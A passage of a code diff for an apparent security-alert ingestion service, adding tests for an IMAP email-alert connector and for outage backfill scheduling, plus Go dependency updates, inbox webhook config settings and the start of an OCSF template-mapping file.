+ assert fake.logged_out is True
+
+
+def test_test_connection_reports_select_failure(monkeypatch: pytest.MonkeyPatch):
+ fake = _FakeIMAP(select_ok=False)
+ _patch_imap(monkeypatch, fake)
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ res = _run(c.test_connection())
+ assert res["success"] is False
+ assert "INBOX" in res["error"] or "mailbox" in res["error"]
+
+
+def test_test_connection_reports_login_failure(monkeypatch: pytest.MonkeyPatch):
+ fake = _FakeIMAP(fail_login=True)
+ _patch_imap(monkeypatch, fake)
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ res = _run(c.test_connection())
+ assert res["success"] is False
+ assert "bad credentials" in res["error"]
+
+
+# ---------------------------------------------------------------------------
+# fetch_alerts
+# ---------------------------------------------------------------------------
+
+
+def _build_plaintext_message(
+ subject: str = "PagerDuty Alert: prod-db-1 high CPU",
+ sender: str = "[email protected]",
+ to: str = "[email protected]",
+ body: str = "Service prod-db-1 is at 95% CPU. Please investigate.",
+ date: str = "Tue, 05 May 2026 11:30:00 -0700",
+ msg_id: str = "<[email protected]>",
+) -> bytes:
+ msg = MIMEText(body, "plain", "utf-8")
+ msg["Subject"] = subject
+ msg["From"] = sender
+ msg["To"] = to
+ msg["Date"] = date
+ msg["Message-ID"] = msg_id
+ return msg.as_bytes()
+
+
+def test_fetch_alerts_returns_normalized_event_for_plaintext(
+ monkeypatch: pytest.MonkeyPatch,
+):
+ raw = _build_plaintext_message()
+ fake = _FakeIMAP(messages={b"42": raw})
+ _patch_imap(monkeypatch, fake)
+
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ events = _run(c.fetch_alerts())
+
+ assert len(events) == 1
+ e = events[0]
+ assert e["subject"] == "PagerDuty Alert: prod-db-1 high CPU"
+ assert e["from"] == "[email protected]"
+ assert e["to"] == "[email protected]"
+ assert e["message_id"] == "<[email protected]>"
+ # Body is preserved verbatim — the ingest-side template handles parsing.
+ assert "prod-db-1 is at 95% CPU" in e["body"]
+ # received_at parses to ISO 8601 — useful for the OCSF time field downstream.
+ assert e["received_at"] is not None
+ assert "2026-05-05T11:30:00" in e["received_at"]
+ # And the connector must have advanced the read cursor.
+ assert fake.seen == {b"42"}
+
+
+def test_fetch_alerts_extracts_text_from_multipart(
+ monkeypatch: pytest.MonkeyPatch,
+):
+ """Most alert emails ship as multipart/alternative — make sure we
+ grab the text/plain part rather than the HTML soup."""
+ msg = MIMEMultipart("alternative")
+ msg["Subject"] = "Weekly Vulnerability Digest"
+ msg["From"] = "[email protected]"
+ msg["To"] = "[email protected]"
+ msg["Date"] = "Wed, 06 May 2026 09:00:00 +0000"
+ msg.attach(MIMEText("12 new CVEs this week. CVE-2026-12345 is critical.", "plain"))
+ msg.attach(
+ MIMEText(
+ "<html><body><h1>Digest</h1><p>HTML soup here</p></body></html>",
+ "html",
+ )
+ )
+ fake = _FakeIMAP(messages={b"7": msg.as_bytes()})
+ _patch_imap(monkeypatch, fake)
+
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ events = _run(c.fetch_alerts())
+
+ assert len(events) == 1
+ assert "CVE-2026-12345" in events[0]["body"]
+ # We should NOT have surfaced HTML tags — text/plain wins.
+ assert "<h1>" not in events[0]["body"]
+
+
+def test_fetch_alerts_decodes_rfc2047_subjects(monkeypatch: pytest.MonkeyPatch):
+ """Subjects with non-ASCII characters arrive as RFC 2047 encoded-words.
+ Anything dropping that decode would surface gibberish in alerts."""
+ raw = _build_plaintext_message(
+ subject="=?UTF-8?B?VHJpYWdlZDog4pyFIENyaXRpY2FsIEFsZXJ0?=",
+ )
+ fake = _FakeIMAP(messages={b"99": raw})
+ _patch_imap(monkeypatch, fake)
+
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ events = _run(c.fetch_alerts())
+
+ assert events[0]["subject"] == "Triaged: ✅ Critical Alert"
+
+
+def test_fetch_alerts_truncates_oversized_body(monkeypatch: pytest.MonkeyPatch):
+ """A 5 MB attachment-laden alert email shouldn't blow up the
+ pipeline — the body cap kicks in."""
+ huge = "x" * (email_inbox_mod._MAX_BODY_BYTES + 5_000)
+ raw = _build_plaintext_message(body=huge)
+ fake = _FakeIMAP(messages={b"1": raw})
+ _patch_imap(monkeypatch, fake)
+
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ events = _run(c.fetch_alerts())
+
+ assert len(events[0]["body"]) == email_inbox_mod._MAX_BODY_BYTES
+
+
+def test_fetch_alerts_respects_max_messages_cap(monkeypatch: pytest.MonkeyPatch):
+ """If the mailbox has more unread than ``max_messages``, we only
+ pull the cap and leave the rest for the next poll."""
+ msgs = {
+ f"{i}".encode(): _build_plaintext_message(subject=f"Alert {i}")
+ for i in range(10)
+ }
+ fake = _FakeIMAP(messages=msgs)
+ _patch_imap(monkeypatch, fake)
+
+ c = EmailInboxConnector(
+ host="imap.test", username="u", password="p", max_messages=3
+ )
+ events = _run(c.fetch_alerts())
+
+ assert len(events) == 3
+ # Three flagged seen, seven still untouched for the next poll.
+ assert len(fake.seen) == 3
+
+
+def test_fetch_alerts_returns_empty_on_imap_failure(
+ monkeypatch: pytest.MonkeyPatch,
+):
+ """A flaky IMAP server should not crash the scheduler — empty list,
+ log a warning, retry on next poll."""
+
+ def _broken_open(self): # noqa: ARG001
+ raise OSError("connection reset")
+
+ monkeypatch.setattr(EmailInboxConnector, "_open", _broken_open)
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ events = _run(c.fetch_alerts())
+ assert events == []
+
+
+def test_use_ssl_string_form_is_truthy(monkeypatch: pytest.MonkeyPatch):
+ """The wizard form may serialize booleans as strings — make sure
+ "true"/"false" round-trip correctly."""
+ c1 = EmailInboxConnector(
+ host="imap.test", username="u", password="p", use_ssl="true"
+ )
+ assert c1._use_ssl is True
+ c2 = EmailInboxConnector(
+ host="imap.test", username="u", password="p", use_ssl="false"
+ )
+ assert c2._use_ssl is False
diff --git a/services/connectors/tests/test_saas_connectors.py b/services/connectors/tests/test_saas_connectors.py
index edee45ed9..13f0e4bd0 100644
--- a/services/connectors/tests/test_saas_connectors.py
+++ b/services/connectors/tests/test_saas_connectors.py
@@ -603,11 +603,11 @@ def test_github_schema_has_required_fields():
assert token_field.type == "secret"
-def test_github_schema_oauth_hosted_is_false():
- # We accept tokens directly. The hosted device-flow OAuth is a follow-up.
+def test_github_schema_oauth_hosted_supported():
+ # GitHub OAuth web flow is now wired into the click-and-connect surface.
schema = GitHubConnector.schema()
assert schema.oauth is not None
- assert schema.oauth.supported_in_hosted is False
+ assert schema.oauth.supported_in_hosted is True
assert "read:audit_log" in (schema.oauth.scopes or [])
diff --git a/services/connectors/tests/test_scheduler.py b/services/connectors/tests/test_scheduler.py
index cf24e4ce5..afa43f6ff 100644
--- a/services/connectors/tests/test_scheduler.py
+++ b/services/connectors/tests/test_scheduler.py
@@ -16,6 +16,7 @@ We do *not* test APScheduler itself — that has its own tests.
from __future__ import annotations
import uuid
+from datetime import UTC, datetime, timedelta
from typing import Any
from unittest.mock import AsyncMock, MagicMock
@@ -163,6 +164,8 @@ async def test_poll_one_filter_rules_drop_events(monkeypatch):
events_added: int,
events_dropped: int = 0,
schema_fingerprint: str | None = None,
+ last_event_at: Any = None,
+ last_event_kind: str | None = None,
) -> None:
conn.engine.success_calls.append(connector_id)
captured_success["events_added"] = events_added
@@ -327,6 +330,8 @@ async def test_poll_one_quiet_hour_does_not_clobber_fingerprint(monkeypatch):
events_added: int,
events_dropped: int = 0,
schema_fingerprint: str | None = None,
+ last_event_at: Any = None,
+ last_event_kind: str | None = None,
) -> None:
conn.engine.success_calls.append(connector_id)
captured_success["schema_fingerprint"] = schema_fingerprint
@@ -515,6 +520,270 @@ async def test_reload_reschedules_when_interval_changes(monkeypatch):
assert fake_aps.added[-1]["seconds"] == 600
+# ---------------------------------------------------------------------------
+# Workstream 5: backfill-on-outage worker
+# ---------------------------------------------------------------------------
+#
+# These tests pin down the behavior described in the v2 plan:
+#
+# * After an outage of >= ``_BACKFILL_OUTAGE_THRESHOLD_S`` (30 min) the
+# recovery poll schedules a one-shot backfill poll using a lookback that
+# covers the outage duration plus a small buffer, capped at
+# ``_MAX_BACKFILL_LOOKBACK_S`` (24h).
+# * Outages shorter than the threshold do NOT trigger a backfill.
+# * If a backfill ran inside ``_BACKFILL_FLAP_WINDOW_S`` (10 min) we
+# suppress re-firing — flap protection.
+# * Backfill polls themselves never recurse into another backfill (we
+# pass ``backfill_seconds`` so the scheduler treats this as a one-shot).
+# * The flap-suppress timestamp is written *before* the backfill poll
+# runs so a parallel scheduler job can't double-fire.
+
+
+async def test_poll_one_recovery_after_long_outage_schedules_backfill(monkeypatch):
+ """Recovery from a 45-minute outage should fire one backfill poll
+ using a lookback window that covers the outage + small buffer."""
+ from app import scheduler as scheduler_mod
+
+ inst = _make_instance(connector_type="fake_connector")
+ inst.last_outage_at = datetime.now(UTC) - timedelta(minutes=45)
+ inst.last_backfill_at = None
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ # First call: normal recovery poll using poll_interval (300 default).
+ # Second call: one-shot backfill with the outage-derived lookback.
+ assert fake_connector.fetch_alerts.await_count == 2
+ first_call = fake_connector.fetch_alerts.await_args_list[0]
+ second_call = fake_connector.fetch_alerts.await_args_list[1]
+
+ assert first_call.kwargs["since_seconds"] == 300 # default poll cadence
+ backfill_seconds = second_call.kwargs["since_seconds"]
+
+ # Window should be ~45 min + 5 min buffer = ~3000s, but the backfill
+ # caller passes ``int(outage_duration) + buffer``. Allow ±10s for
+ # clock drift between the test setup and the now() inside the
+ # scheduler.
+ expected = int(45 * 60) + scheduler_mod._BACKFILL_LOOKBACK_BUFFER_S
+ assert abs(backfill_seconds - expected) <= 10
+ # Cap should never be exceeded.
+ assert backfill_seconds <= scheduler_mod._MAX_BACKFILL_LOOKBACK_S
+
+ # Backfill timestamp was stamped before the second poll fired.
+ assert getattr(fake_engine, "backfill_calls", []) == [inst.id]
+
+
+async def test_poll_one_short_outage_skips_backfill(monkeypatch):
+ """Outages shorter than the 30-minute threshold should never schedule
+ a backfill — the recovery poll covers them."""
+ inst = _make_instance(connector_type="fake_connector")
+ # 5 minutes of outage — well below the 30-min threshold.
+ inst.last_outage_at = datetime.now(UTC) - timedelta(minutes=5)
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ # Exactly one fetch (the recovery poll). No backfill fan-out.
+ assert fake_connector.fetch_alerts.await_count == 1
+ assert getattr(fake_engine, "backfill_calls", []) == []
+
+
+async def test_poll_one_recent_backfill_suppresses_flap(monkeypatch):
+ """If we already ran a backfill inside the flap window, do NOT
+ re-fire even if last_outage_at looks long enough."""
+ inst = _make_instance(connector_type="fake_connector")
+ inst.last_outage_at = datetime.now(UTC) - timedelta(minutes=60)
+ # Recent backfill — inside the 10-minute flap window.
+ inst.last_backfill_at = datetime.now(UTC) - timedelta(minutes=2)
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ # No second fetch and no new backfill stamp.
+ assert fake_connector.fetch_alerts.await_count == 1
+ assert getattr(fake_engine, "backfill_calls", []) == []
+
+
+async def test_poll_one_old_backfill_outside_flap_window_allows_refire(monkeypatch):
+ """If the previous backfill ran outside the flap window, a fresh
+ long-outage recovery should still schedule a new backfill."""
+ inst = _make_instance(connector_type="fake_connector")
+ inst.last_outage_at = datetime.now(UTC) - timedelta(minutes=60)
+ # Last backfill 30 minutes ago — outside the 10-minute flap window.
+ inst.last_backfill_at = datetime.now(UTC) - timedelta(minutes=30)
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ # Recovery poll + one-shot backfill = 2 fetches.
+ assert fake_connector.fetch_alerts.await_count == 2
+ assert getattr(fake_engine, "backfill_calls", []) == [inst.id]
+
+
+async def test_poll_one_backfill_does_not_recurse(monkeypatch):
+ """A backfill poll itself must not schedule yet another backfill —
+ we pass ``backfill_seconds`` so recovery detection is skipped."""
+ inst = _make_instance(connector_type="fake_connector")
+ # Even if last_outage_at is set, an explicit backfill_seconds should
+ # cause the recovery branch to be skipped.
+ inst.last_outage_at = datetime.now(UTC) - timedelta(hours=2)
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id, backfill_seconds=3600)
+
+ # Exactly one fetch (the backfill itself). No second one for cascade.
+ assert fake_connector.fetch_alerts.await_count == 1
+ assert fake_connector.fetch_alerts.await_args.kwargs["since_seconds"] == 3600
+ assert getattr(fake_engine, "backfill_calls", []) == []
+
+
+async def test_poll_one_backfill_window_capped_at_max(monkeypatch):
+ """A 36-hour outage should still produce a backfill window capped at
+ 24 hours (``_MAX_BACKFILL_LOOKBACK_S``)."""
+ from app import scheduler as scheduler_mod
+
+ inst = _make_instance(connector_type="fake_connector")
+ inst.last_outage_at = datetime.now(UTC) - timedelta(hours=36)
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ # Two fetches: recovery + one-shot backfill.
+ assert fake_connector.fetch_alerts.await_count == 2
+ backfill_seconds = fake_connector.fetch_alerts.await_args_list[1].kwargs[
+ "since_seconds"
+ ]
+ # The cap kicks in BEFORE the buffer is added inside _poll_one
+ # (see ``backfill_window_seconds = min(...)``), so the value passed
+ # to the recursive call equals the cap exactly.
+ assert backfill_seconds == scheduler_mod._MAX_BACKFILL_LOOKBACK_S
+
+
+async def test_poll_one_no_outage_no_backfill(monkeypatch):
+ """When the connector was never in outage (last_outage_at is None),
+ no backfill should ever fire even if a poll succeeds."""
+ inst = _make_instance(connector_type="fake_connector")
+ assert inst.last_outage_at is None
+
+ fake_connector = MagicMock()
+ fake_connector.fetch_alerts = AsyncMock(return_value=[{"x": 1}])
+ fake_connector.normalize = MagicMock(side_effect=lambda e: e)
+
+ monkeypatch.setattr(
+ "app.scheduler.CONNECTOR_REGISTRY",
+ {"fake_connector": MagicMock(return_value=fake_connector)},
+ )
+
+ fake_engine = _FakeEngine([inst])
+ scheduler = ConnectorScheduler(
+ engine=fake_engine,
+ ingest_client=_FakeIngestClient(accepted=1),
+ vault=_FakeVault(),
+ )
+
+ await scheduler._poll_one(connector_id=inst.id)
+
+ assert fake_connector.fetch_alerts.await_count == 1
+ assert getattr(fake_engine, "backfill_calls", []) == []
+
+
# ---------------------------------------------------------------------------
# Test fakes
# ---------------------------------------------------------------------------
@@ -573,6 +842,9 @@ class _FakeEngine:
self.success_calls: list[uuid.UUID] = []
self.failure_calls: list[uuid.UUID] = []
self.drift_calls: list[dict[str, Any]] = []
+ # Workstream 5: track every record_backfill_run() call so backfill
+ # tests can assert when the flap-suppress timestamp was stamped.
+ self.backfill_calls: list[uuid.UUID] = []
def begin(self) -> _FakeAsyncContextManager:
return _FakeAsyncContextManager(_FakeConnection(self))
@@ -631,6 +903,8 @@ def _patch_repo_calls(monkeypatch):
events_added: int,
events_dropped: int = 0,
schema_fingerprint: str | None = None,
+ last_event_at: Any = None,
+ last_event_kind: str | None = None,
) -> None:
conn.engine.success_calls.append(connector_id)
@@ -648,7 +922,14 @@ def _patch_repo_calls(monkeypatch):
{"connector_id": connector_id, "fingerprint": fingerprint, "details": details}
)
+ async def fake_record_backfill_run(
+ conn: Any,
+ connector_id: uuid.UUID,
+ ) -> None:
+ getattr(conn.engine, "backfill_calls", []).append(connector_id)
+
monkeypatch.setattr("app.scheduler.fetch_enabled_connectors", fake_fetch_enabled_connectors)
monkeypatch.setattr("app.scheduler.record_poll_success", fake_record_poll_success)
monkeypatch.setattr("app.scheduler.record_poll_failure", fake_record_poll_failure)
monkeypatch.setattr("app.scheduler.record_schema_drift", fake_record_schema_drift)
+ monkeypatch.setattr("app.scheduler.record_backfill_run", fake_record_backfill_run)
diff --git a/services/ingest/go.mod b/services/ingest/go.mod
index eeaa9d53c..0361f906e 100644
--- a/services/ingest/go.mod
+++ b/services/ingest/go.mod
@@ -6,14 +6,19 @@ require (
github.com/go-chi/chi/v5 v5.2.5
github.com/go-chi/cors v1.2.2
github.com/google/uuid v1.6.0
+ github.com/jackc/pgx/v5 v5.7.5
github.com/prometheus/client_golang v1.23.2
github.com/rs/zerolog v1.35.1
github.com/segmentio/kafka-go v0.4.51
+ gopkg.in/yaml.v3 v3.0.1
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
+ github.com/jackc/pgpassfile v1.0.0 // indirect
+ github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
+ github.com/jackc/puddle/v2 v2.2.2 // indirect
github.com/klauspost/compress v1.18.0 // indirect
github.com/kr/text v0.2.0 // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
@@ -24,6 +29,9 @@ require (
github.com/prometheus/common v0.66.1 // indirect
github.com/prometheus/procfs v0.16.1 // indirect
go.yaml.in/yaml/v2 v2.4.2 // indirect
+ golang.org/x/crypto v0.37.0 // indirect
+ golang.org/x/sync v0.16.0 // indirect
golang.org/x/sys v0.35.0 // indirect
+ golang.org/x/text v0.28.0 // indirect
google.golang.org/protobuf v1.36.8 // indirect
)
diff --git a/services/ingest/go.sum b/services/ingest/go.sum
index af00cdeec..fc76ebd16 100644
--- a/services/ingest/go.sum
+++ b/services/ingest/go.sum
@@ -3,6 +3,7 @@ github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6r
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/go-chi/chi/v5 v5.2.5 h1:Eg4myHZBjyvJmAFjFvWgrqDTXFyOzjj7YIm3L3mu6Ug=
@@ -13,6 +14,14 @@ github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
+github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
+github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
+github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
+github.com/jackc/pgx/v5 v5.7.5 h1:JHGfMnQY+IEtGM63d+NGMjoRpysB2JBwDr5fsngwmJs=
+github.com/jackc/pgx/v5 v5.7.5/go.mod h1:aruU7o91Tc2q2cFp5h4uP3f6ztExVpyVv88Xl/8Vl8M=
+github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo=
+github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
@@ -45,6 +54,9 @@ github.com/rs/zerolog v1.35.1 h1:m7xQeoiLIiV0BCEY4Hs+j2NG4Gp2o2KPKmhnnLiazKI=
github.com/rs/zerolog v1.35.1/go.mod h1:EjML9kdfa/RMA7h/6z6pYmq1ykOuA8/mjWaEvGI+jcw=
github.com/segmentio/kafka-go v0.4.51 h1:JgDPPG75tC1rWIS2Me6MwcvXJ6f49UQ4HjAOef71Hno=
github.com/segmentio/kafka-go v0.4.51/go.mod h1:Y1gn60kzLEEaW28YshXyk2+VCUKbJ3Qr6DrnT3i4+9E=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c=
@@ -57,8 +69,12 @@ go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.2 h1:DzmwEr2rDGHl7lsFgAHxmNz/1NlQ7xLIrlN2h5d1eGI=
go.yaml.in/yaml/v2 v2.4.2/go.mod h1:081UH+NErpNdqlCXm3TtEran0rJZGxAYx9hb/ELlsPU=
+golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE=
+golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc=
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
+golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
+golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
@@ -69,5 +85,6 @@ google.golang.org/protobuf v1.36.8/go.mod h1:fuxRtAxBytpl4zzqUh6/eyUujkJdNiuEkXn
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/services/ingest/internal/config/config.go b/services/ingest/internal/config/config.go
index 600b093df..7456d4759 100644
--- a/services/ingest/internal/config/config.go
+++ b/services/ingest/internal/config/config.go
@@ -31,6 +31,17 @@ type Config struct {
VulnCorrelEnabled bool
VulnKafkaTopic string // topic for VULNERABILITY_MATCH events
NvdAPIKey string // optional NVD API key for higher rate limits
+
+ // Workstream 6 — universal capture push paths.
+ // InboxEnabled toggles the /v1/inbox/* routes. Off by default in
+ // development if no DATABASE_DSN is set, since the inbox store needs
+ // Postgres to resolve tokens.
+ InboxEnabled bool
+ InboxTemplatesDir string // path to vendor template YAMLs
+ // InboxMaxBodyBytes caps a single inbox webhook body. Anything
+ // bigger gets a 413; vendors that page through alerts should batch
+ // at the source rather than push 50MB at once.
+ InboxMaxBodyBytes int64
}
// Load reads configuration from environment variables
@@ -61,6 +72,11 @@ func Load() (*Config, error) {
VulnCorrelEnabled: getEnv("VULN_CORREL_ENABLED", "true") == "true",
VulnKafkaTopic: getEnv("VULN_KAFKA_TOPIC", "aisoc.vulnerability_matches"),
NvdAPIKey: getEnv("NVD_API_KEY", ""),
+
+ // Universal capture (Workstream 6).
+ InboxEnabled: getEnv("INBOX_ENABLED", "true") == "true",
+ InboxTemplatesDir: getEnv("INBOX_TEMPLATES_DIR", "/app/templates"),
+ InboxMaxBodyBytes: int64(mustGetEnvInt("INBOX_MAX_BODY_BYTES", 10*1024*1024)),
}
if cfg.JWTSecret == "" && os.Getenv("ENV") != "development" {
diff --git a/services/ingest/internal/inbox/apply.go b/services/ingest/internal/inbox/apply.go
new file mode 100644
index 000000000..b2ac940bb
--- /dev/null
+++ b/services/ingest/internal/inbox/apply.go
@@ -0,0 +1,202 @@
+package inbox
+
+import (
+ "strings"
+ "time"
+)
+
+// Apply projects a vendor JSON payload onto an OCSF event using the
+// rules in t. The output is a flat map[string]interface{} ready to hand
+// off to the existing Kafka publisher's NormalizedEvent envelope.
+//
+// We deliberately reuse the existing OCSF v1.1.0 schema rather than
+// invent a sidecar shape so universal-capture events flow through the
+// same correlator / detection pipeline as connector-driven ones.
+func (t *Template) Apply(payload map[string]any, tenantID, connectorRef, receivedAt string) map[string]any {
